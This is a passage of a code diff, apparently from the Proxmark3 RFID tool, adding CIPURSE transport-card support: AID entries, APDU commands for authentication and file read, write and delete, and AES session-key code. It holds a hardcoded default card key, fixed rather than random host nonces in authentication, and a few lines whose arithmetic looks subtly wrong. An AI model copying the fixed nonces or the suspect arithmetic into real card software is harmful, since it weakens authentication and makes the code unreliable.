logging.info('Completed building metadata!')
return metadata
##############################################################################
# Helper Functions:
def get_version():
"""Get the version string for this script"""
return f'{APP_NAME} v{VERSION_MAJOR}.{VERSION_MINOR:02}'
def remove_ansi_escape_codes(text):
"""Remove ANSI escape sequences that may be left in the text."""
re_ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -/]*[@-~]')
return re_ansi_escape.sub('', str(text)).lower()
def remove_extra_whitespace(text):
"""Removes extra whitespace that may be in the text."""
# Ensure input is a string
text = str(text)
# Remove whitespace from the start and end of the text
text = text.strip()
# Deduplicate spaces in the string
text = re.sub(r' +', ' ', text)
return text
def text_to_oneliner(text):
"""Converts a multi line string into a single line string and removes extra whitespace"""
# Ensure input is a string
text = str(text)
# Replace newlines with spaces
text = re.sub(r'\n+', ' ', text)
# Remove the extra whitespace
text = remove_extra_whitespace(text)
return text
def text_to_list(text):
"""Converts a multi line string into a list of lines and removes extra whitespace"""
# Ensure input is a string
text = str(text)
# Get all the lines
lines = text.strip().split('\n')
# For each line clean up any extra whitespace
return [remove_extra_whitespace(line) for line in lines]
##############################################################################
# Application entrypoint:
if __name__ == '__main__':
main()

View file

@ -839,6 +839,14 @@
"Description": "PIV Authentication Key", "Description": "PIV Authentication Key",
"Type": "" "Type": ""
}, },
{
"AID": "A0000006472F0001",
"Vendor": "FIDO authenticator",
"Country": "global",
"Name": "U2F/FIDO2 authenticator",
"Description": "U2F and/or FIDO2 authenticator",
"Type": ""
},
{ {
"AID": "A000000116DB00", "AID": "A000000116DB00",
"Vendor": "GSA - TFCS", "Vendor": "GSA - TFCS",
@ -2158,5 +2166,13 @@
"Name": "TeslaDAP", "Name": "TeslaDAP",
"Description": "Undocumented AID associated with official Tesla BTLE Key Fobs", "Description": "Undocumented AID associated with official Tesla BTLE Key Fobs",
"Type": "Tesla" "Type": "Tesla"
},
{
"AID": "4144204631",
"Vendor": "Cipurse",
"Country": "",
"Name": "Cipurse transport card",
"Description": "Cipurse transport card",
"Type": "transport"
} }
] ]

View file

@ -0,0 +1,383 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2021 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// CIPURSE transport cards data and commands
//-----------------------------------------------------------------------------
#include "cipursecore.h"
#include "commonutil.h" // ARRAYLEN
#include "comms.h" // DropField
#include "util_posix.h" // msleep
#include <string.h> // memcpy memset
#include "cmdhf14a.h"
#include "emv/emvcore.h"
#include "emv/emvjson.h"
#include "ui.h"
#include "util.h"
// context for secure channel
CipurseContext cipurseContext;
static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t data[APDU_RES_LEN] = {0};
uint8_t securedata[APDU_RES_LEN] = {0};
sAPDU secapdu;
*ResultLen = 0;
if (sw) *sw = 0;
uint16_t isw = 0;
int res = 0;
if (ActivateField) {
DropField();
msleep(50);
}
// long messages is not allowed
if (apdu.Lc > 228)
return 20;
// COMPUTE APDU
int datalen = 0;
uint16_t xle = IncludeLe ? 0x100 : 0x00;
if (xle == 0x100 && Le != 0)
xle = Le;
CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le);
if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) {
PrintAndLogEx(ERR, "APDU encoding error.");
return 201;
}
if (GetAPDULogging())
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
if (res) {
return res;
}
if (GetAPDULogging())
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
if (*ResultLen < 2) {
return 200;
}
size_t rlen = 0;
if (*ResultLen == 2) {
if (cipurseContext.RequestSecurity == CPSMACed || cipurseContext.RequestSecurity == CPSEncrypted)
CipurseCClearContext(&cipurseContext);
isw = Result[0] * 0x0100 + Result[1];
} else {
CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw);
memcpy(Result, securedata, rlen);
}
if (ResultLen != NULL)
*ResultLen = rlen;
if (sw != NULL)
*sw = isw;
if (isw != 0x9000) {
if (GetAPDULogging()) {
if (*sw >> 8 == 0x61) {
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
} else {
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
return 5;
}
}
}
return PM3_SUCCESS;
}
static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchangeEx(false, true, apdu, true, 0, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31};
CipurseCClearContext(&cipurseContext);
return EMVSelect(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL);
}
int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, 0x16, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, attrlen, attr}, false, 0, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff};
return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, 02, fileIdBin}, false, 0, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff};
return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchange((sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchange((sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, Result, MaxResultLen, ResultLen, sw);
}
int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return CIPURSEExchange((sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, Result, MaxResultLen, ResultLen, sw);
}
bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) {
uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0;
uint16_t sw = 0;
CipurseContext cpc = {0};
CipurseCSetKey(&cpc, keyIndex, key);
// get RP, rP
int res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw);
if (res != 0 || len != 0x16) {
if (verbose)
PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw);
return false;
}
CipurseCSetRandomFromPICC(&cpc, buf);
// make auth data
uint8_t authparams[16 + 16 + 6] = {0};
CipurseCAuthenticateHost(&cpc, authparams);
// authenticate
res = CIPURSEMutalAuthenticate(keyIndex, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw);
if (res != 0 || sw != 0x9000 || len != 16) {
if (sw == 0x6988) {
if (verbose)
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key.");
} else if (sw == 0x6A88) {
if (verbose)
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number.");
} else {
if (verbose)
PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw);
}
CipurseCClearContext(&cipurseContext);
return false;
}
if (CipurseCCheckCT(&cpc, buf)) {
if (verbose)
PrintAndLogEx(INFO, "Authentication " _GREEN_("OK"));
CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed);
memcpy(&cipurseContext, &cpc, sizeof(CipurseContext));
return true;
} else {
if (verbose)
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT");
CipurseCClearContext(&cipurseContext);
return false;
}
}
void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) {
CipurseCChannelSetSecurityLevels(&cipurseContext, req, resp);
}
static void CIPURSEPrintPersoMode(uint8_t data) {
if (data & 0x01)
PrintAndLogEx(INFO, "Perso: filesystem");
if (data & 0x02)
PrintAndLogEx(INFO, "Perso: EMV");
if (data & 0x04)
PrintAndLogEx(INFO, "Perso: transaction supported");
}
static void CIPURSEPrintProfileInfo(uint8_t data) {
if (data & 0x01)
PrintAndLogEx(INFO, "Profile: L");
if (data & 0x02)
PrintAndLogEx(INFO, "Profile: S");
if (data & 0x04)
PrintAndLogEx(INFO, "Profile: T");
}
static void CIPURSEPrintManufacturerInfo(uint8_t data) {
if (data == 0)
PrintAndLogEx(INFO, "Manufacturer: n/a");
else
PrintAndLogEx(INFO, "Manufacturer: %s", getTagInfo(data)); // getTagInfo from cmfhf14a.h
}
void CIPURSEPrintInfoFile(uint8_t *data, size_t len) {
if (len < 2) {
PrintAndLogEx(ERR, "Info file length " _RED_("ERROR"));
return;
}
PrintAndLogEx(INFO, "------------ INFO ------------");
PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]);
if (len >= 3)
CIPURSEPrintPersoMode(data[2]);
if (len >= 4)
CIPURSEPrintProfileInfo(data[3]);
if (len >= 9)
CIPURSEPrintManufacturerInfo(data[8]);
}
static void CIPURSEPrintFileDescriptor(uint8_t desc) {
if (desc == 0x01)
PrintAndLogEx(INFO, "Binary file");
else if (desc == 0x11)
PrintAndLogEx(INFO, "Binary file with transactions");
else if (desc == 0x02)
PrintAndLogEx(INFO, "Linear record file");
else if (desc == 0x12)
PrintAndLogEx(INFO, "Linear record file with transactions");
else if (desc == 0x06)
PrintAndLogEx(INFO, "Cyclic record file");
else if (desc == 0x16)
PrintAndLogEx(INFO, "Cyclic record file with transactions");
else if (desc == 0x1E)
PrintAndLogEx(INFO, "Linear value-record file");
else if (desc == 0x1F)
PrintAndLogEx(INFO, "Linear value-record file with transactions");
else
PrintAndLogEx(INFO, "Unknown file 0x%02x", desc);
}
static void CIPURSEPrintKeyAttrib(uint8_t *attr) {
PrintAndLogEx(INFO, "-------- KEY ATTRIBUTES --------");
PrintAndLogEx(INFO, "Additional info: 0x%02x", attr[0]);
PrintAndLogEx(INFO, "Key length: %d", attr[1]);
PrintAndLogEx(INFO, "Algorithm ID: 0x%02x", attr[2]);
PrintAndLogEx(INFO, "Security attr: 0x%02x", attr[3]);
PrintAndLogEx(INFO, "KVV: 0x%02x%02x%02x", attr[4], attr[5], attr[6]);
PrintAndLogEx(INFO, "-------------------------------");
}
void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) {
if (len < 7) {
PrintAndLogEx(ERR, "Attributes length " _RED_("ERROR"));
return;
}
PrintAndLogEx(INFO, "--------- FILE ATTRIBUTES ---------");
if (fileAttr[0] == 0x38) {
PrintAndLogEx(INFO, "Type: MF, ADF");
if (fileAttr[1] == 0x00) {
PrintAndLogEx(INFO, "Type: MF");
} else {
if ((fileAttr[1] & 0xe0) == 0x00)
PrintAndLogEx(INFO, "Type: Unknown");
if ((fileAttr[1] & 0xe0) == 0x20)
PrintAndLogEx(INFO, "Type: CIPURSE L");
if ((fileAttr[1] & 0xe0) == 0x40)
PrintAndLogEx(INFO, "Type: CIPURSE S");
if ((fileAttr[1] & 0xe0) == 0x60)
PrintAndLogEx(INFO, "Type: CIPURSE T");
if ((fileAttr[1] & 0x02) == 0x00)
PrintAndLogEx(INFO, "Autoselect on PxSE select OFF");
else
PrintAndLogEx(INFO, "Autoselect on PxSE select ON");
if ((fileAttr[1] & 0x01) == 0x00)
PrintAndLogEx(INFO, "PxSE select returns FCPTemplate OFF");
else
PrintAndLogEx(INFO, "PxSE select returns FCPTemplate ON");
}
PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]);
PrintAndLogEx(INFO, "Maximum number of custom EFs: %d", fileAttr[4]);
PrintAndLogEx(INFO, "Maximum number of EFs with SFID: %d", fileAttr[5]);
uint8_t keyNum = fileAttr[6];
PrintAndLogEx(INFO, "Keys assigned: %d", keyNum);
if (len >= 9) {
PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]);
}
if (len >= 10 + keyNum + 1) {
PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], keyNum + 1));
}
if (len >= 11 + keyNum + 1 + keyNum * 7) {
for (int i = 0; i < keyNum; i++) {
PrintAndLogEx(INFO, "Key %d Attributes: %s", i, sprint_hex(&fileAttr[11 + keyNum + 1 + i * 7], 7));
CIPURSEPrintKeyAttrib(&fileAttr[11 + keyNum + 1 + i * 7]);
}
}
// MF
if (fileAttr[1] == 0x00) {
PrintAndLogEx(INFO, "Total memory size: %d", (fileAttr[len - 6] << 16) + (fileAttr[len - 1] << 5) + fileAttr[len - 4]);
PrintAndLogEx(INFO, "Free memory size: %d", (fileAttr[len - 3] << 16) + (fileAttr[len - 2] << 8) + fileAttr[len - 1]);
} else {
int ptr = 11 + keyNum + 1 + keyNum * 7;
if (len > ptr)
PrintAndLogEx(INFO, "TLV file control: %s", sprint_hex(&fileAttr[ptr], len - ptr));
}
} else {
PrintAndLogEx(INFO, "Type: EF");
CIPURSEPrintFileDescriptor(fileAttr[0]);
if (fileAttr[1] == 0)
PrintAndLogEx(INFO, "SFI: not assigned");
else
PrintAndLogEx(INFO, "SFI: 0x%02x", fileAttr[1]);
PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]);
if (fileAttr[0] == 0x01 || fileAttr[0] == 0x11)
PrintAndLogEx(INFO, "File size: %d", (fileAttr[4] << 8) + fileAttr[5]);
else
PrintAndLogEx(INFO, "Record num: %d record size: %d", fileAttr[4], fileAttr[5]);
PrintAndLogEx(INFO, "Keys assigned: %d", fileAttr[6]);
if (len >= 9) {
PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]);
}
if (len >= 10) {
PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], len - 9));
if (fileAttr[6] + 1 != len - 9)
PrintAndLogEx(WARNING, "ART length is wrong");
}
}
}

View file

@ -0,0 +1,44 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2021 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// CIPURSE transport cards data and commands
//-----------------------------------------------------------------------------
#ifndef __CIPURSECORE_H__
#define __CIPURSECORE_H__
#include "common.h"
#include <jansson.h>
#include "iso7816/apduinfo.h" // sAPDU
#include "cipurse/cipursecrypto.h"
#define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}
void CIPURSEPrintInfoFile(uint8_t *data, size_t len);
int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ;
int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose);
void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp);
void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len);
#endif /* __CIPURSECORE_H__ */

View file

@ -0,0 +1,528 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2021 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// CIPURSE crypto primitives
//-----------------------------------------------------------------------------
#include "cipursecrypto.h"
#include "commonutil.h" // ARRAYLEN
#include "comms.h" // DropField
#include "util_posix.h" // msleep
#include <string.h> // memcpy memset
#include "cmdhf14a.h"
#include "emv/emvcore.h"
#include "emv/emvjson.h"
#include "crypto/libpcrypto.h"
#include "ui.h"
#include "util.h"
uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74};
uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) {
switch (lvl) {
case CPSNone:
return 0x00;
case CPSPlain:
return 0x00;
case CPSMACed:
return 0x01;
case CPSEncrypted:
return 0x02;
default:
return 0x00;
}
}
static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) {
for (size_t i = 0; i < len; i++)
d1[i] = d1[i] ^ d2[i];
}
static void bin_ext(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
if (srclen > dstlen)
memcpy(dst, &src[srclen - dstlen], dstlen);
else
memcpy(dst, src, dstlen);
}
static void bin_pad(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
memset(dst, 0, dstlen);
if (srclen <= dstlen)
memcpy(&dst[dstlen - srclen], src, srclen);
else
memcpy(dst, src, dstlen);
}
static void bin_pad2(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
memset(dst, 0, dstlen);
uint8_t dbl[srclen * 2];
memcpy(dbl, src, srclen);
memcpy(&dbl[srclen], src, srclen);
bin_pad(dst, dstlen, dbl, srclen * 2);
}
static uint64_t rotateLeft48(uint64_t src) {
uint64_t dst = src << 1;
if (dst & 0x0001000000000000UL) {
dst = dst | 1;
dst = dst & 0x0000ffffffffffffUL;
}
return dst;
}
static uint64_t computeNLM48(uint64_t x, uint64_t y) {
uint64_t res = 0;
for (int i = 0; i < 48; i++) {
res = rotateLeft48(res);
if (res & 1)
res = res ^ CIPURSE_POLY;
y = rotateLeft48(y);
if (y & 1)
res = res ^ x;
}
return res;
}
static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) {
uint64_t x64 = 0;
uint64_t y64 = 0;
for (int i = 0; i < 6; i++) {
x64 = (x64 << 8) | x[i];
y64 = (y64 << 8) | y[i];
}
uint64_t res64 = computeNLM48(x64, y64);
for (int i = 0; i < 6; i++) {
res[5 - i] = res64 & 0xff;
res64 = res64 >> 8;
}
}
static void CipurseCGenerateK0AndCp(CipurseContext *ctx) {
uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0};
uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0};
uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0};
// session key derivation function
// kP := NLM(EXT(kID), rP)
// k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID
bin_ext(temp1, CIPURSE_SECURITY_PARAM_N, ctx->key, CIPURSE_AES_KEY_LENGTH);
computeNLM(kp, ctx->rP, temp1); // param sizes == 6 bytes
bin_pad2(temp1, CIPURSE_AES_KEY_LENGTH, kp, CIPURSE_SECURITY_PARAM_N);
bin_pad(temp2, CIPURSE_AES_KEY_LENGTH, ctx->rT, CIPURSE_SECURITY_PARAM_N);
bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH);
// session key K0
aes_encode(NULL, temp1, ctx->key, ctx->k0, CIPURSE_AES_KEY_LENGTH);
bin_xor(ctx->k0, ctx->key, CIPURSE_AES_KEY_LENGTH);
// first frame key k1, function to calculate k1,
// k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT)
memcpy(temp1, ctx->k0, CIPURSE_AES_KEY_LENGTH);
bin_xor(temp1, ctx->RT, CIPURSE_AES_KEY_LENGTH);
aes_encode(NULL, ctx->RP, temp1, temp2, CIPURSE_AES_KEY_LENGTH);
bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH);
memcpy(ctx->frameKey, temp1, CIPURSE_AES_KEY_LENGTH);
// function to caluclate cP := AES(key=k0, RP).
// terminal response
aes_encode(NULL, ctx->k0, ctx->RP, ctx->cP, CIPURSE_AES_KEY_LENGTH);
}
static void CipurseCGenerateCT(uint8_t *k0, uint8_t *RT, uint8_t *CT) {
aes_encode(NULL, k0, RT, CT, CIPURSE_AES_KEY_LENGTH);
}
// from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/securemessaging/CipurseSecureMessage.java#L68
void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) {
uint8_t res[16] = {0};
aes_encode(NULL, key, AESData0, res, CIPURSE_AES_KEY_LENGTH);
memcpy(kvv, res, CIPURSE_KVV_LENGTH);
}
void CipurseCClearContext(CipurseContext *ctx) {
if (ctx == NULL)
return;
memset(ctx, 0, sizeof(CipurseContext));
}
void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) {
if (ctx == NULL)
return;
CipurseCClearContext(ctx);
ctx->keyId = keyId;
memcpy(ctx->key, key, member_size(CipurseContext, key));
}
void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) {
ctx->RequestSecurity = req;
ctx->ResponseSecurity = resp;
}
bool isCipurseCChannelSecuritySet(CipurseContext *ctx) {
return ((ctx->RequestSecurity != CPSNone) && (ctx->ResponseSecurity != CPSNone));
}
void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) {
if (ctx == NULL)
return;
memcpy(ctx->RP, random, member_size(CipurseContext, RP));
memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP));
}
void CipurseCSetRandomHost(CipurseContext *ctx) {
memset(ctx->RT, 0x10, member_size(CipurseContext, RT));
memset(ctx->rT, 0x20, member_size(CipurseContext, rT));
}
uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) {
uint8_t res = LePresent ? 1 : 0;
res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 2);
res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 6);
return res;
}
static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) {
memcpy(authdata, ctx->cP, member_size(CipurseContext, cP));
memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT));
memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT));
}
void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) {
if (ctx == NULL)
return;
CipurseCSetRandomHost(ctx);
CipurseCGenerateK0AndCp(ctx);
CipurseCGenerateCT(ctx->k0, ctx->RT, ctx->CT);
if (authdata != NULL)
CipurseCFillAuthData(ctx, authdata);
}
bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) {
return (memcmp(CT, ctx->CT, CIPURSE_AES_KEY_LENGTH) == 0);
}
void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen) {
*ddatalen = sdatalen + 1;
*ddatalen += blocklen - *ddatalen % blocklen;
memset(ddata, 0, *ddatalen);
memcpy(ddata, sdata, sdatalen);
ddata[sdatalen] = ISO9797_M2_PAD_BYTE;
}
size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) {
for (int i = datalen; i > 0; i--) {
if (data[i - 1] == 0x80)
return i - 1;
if (data[i - 1] != 0x00)
return 0;
}
return 0;
}
static uint16_t CipurseCComputeMICCRC(uint8_t *data, size_t len) {
uint16_t initCRC = 0x6363;
for (size_t i = 0; i < len; i++) {
uint8_t ch = data[i] ^ initCRC;
ch = ch ^ ((ch << 4) & 0xff);
initCRC = (initCRC >> 8) ^ (ch << 8) ^ (ch << 3) ^ (ch >> 4);
}
return initCRC;
}
void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) {
size_t plen = 0;
uint8_t pdata[datalen + CIPURSE_MIC_LENGTH];
memset(pdata, 0, sizeof(pdata));
// 0x00 padding
memcpy(pdata, data, datalen);
plen = datalen;
if (datalen % CIPURSE_MIC_LENGTH)
plen += CIPURSE_MIC_LENGTH - datalen % CIPURSE_MIC_LENGTH;
// crc
uint16_t crc1 = CipurseCComputeMICCRC(pdata, plen);
for (size_t i = 0; i < datalen; i += 4) {
uint8_t tmp1 = pdata[i + 0];
uint8_t tmp2 = pdata[i + 1];
pdata[i + 0] = pdata[i + 2];
pdata[i + 1] = pdata[i + 3];
pdata[i + 2] = tmp1;
pdata[i + 3] = tmp2;
}
uint16_t crc2 = CipurseCComputeMICCRC(pdata, plen);
if (mic != NULL) {
mic[0] = crc2 >> 8;
mic[1] = crc2 & 0xff;
mic[2] = crc1 >> 8;
mic[3] = crc1 & 0xff;
}
}
bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) {
uint8_t xmic[CIPURSE_MIC_LENGTH] = {0};
CipurseCGenerateMIC(data, datalen, xmic);
return (memcmp(xmic, mic, CIPURSE_MIC_LENGTH) == 0);
}
/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521
*
* Encrypt/Decrypt the given data using ciphering mechanism explained the OPST.
* Data should be already padded.
*
* hx-1 := ki , hx := AES( key = hx-1 ; q) XOR q, Cx := AES( key = hx ;
* Dx ), hx+1 := AES( key = hx ; q ) XOR q, Cx+1 := AES( key = hx+1 ;
* Dx+1 ), ... hy := AES( key = hy-1 ; q ) XOR q, Cy := AES( key = hy ;
* Dy ), ki+1 := hy
*/
void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) {
uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0};
if (datalen == 0 || datalen % CIPURSE_AES_KEY_LENGTH != 0)
return;
memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH);
int i = 0;
while (datalen > i) {
aes_encode(NULL, QConstant, ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH);
bin_xor(hx, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
if (isEncrypt)
aes_encode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH);
else
aes_decode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH);
memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH);
i += CIPURSE_AES_KEY_LENGTH;
}
memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
}
void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen) {
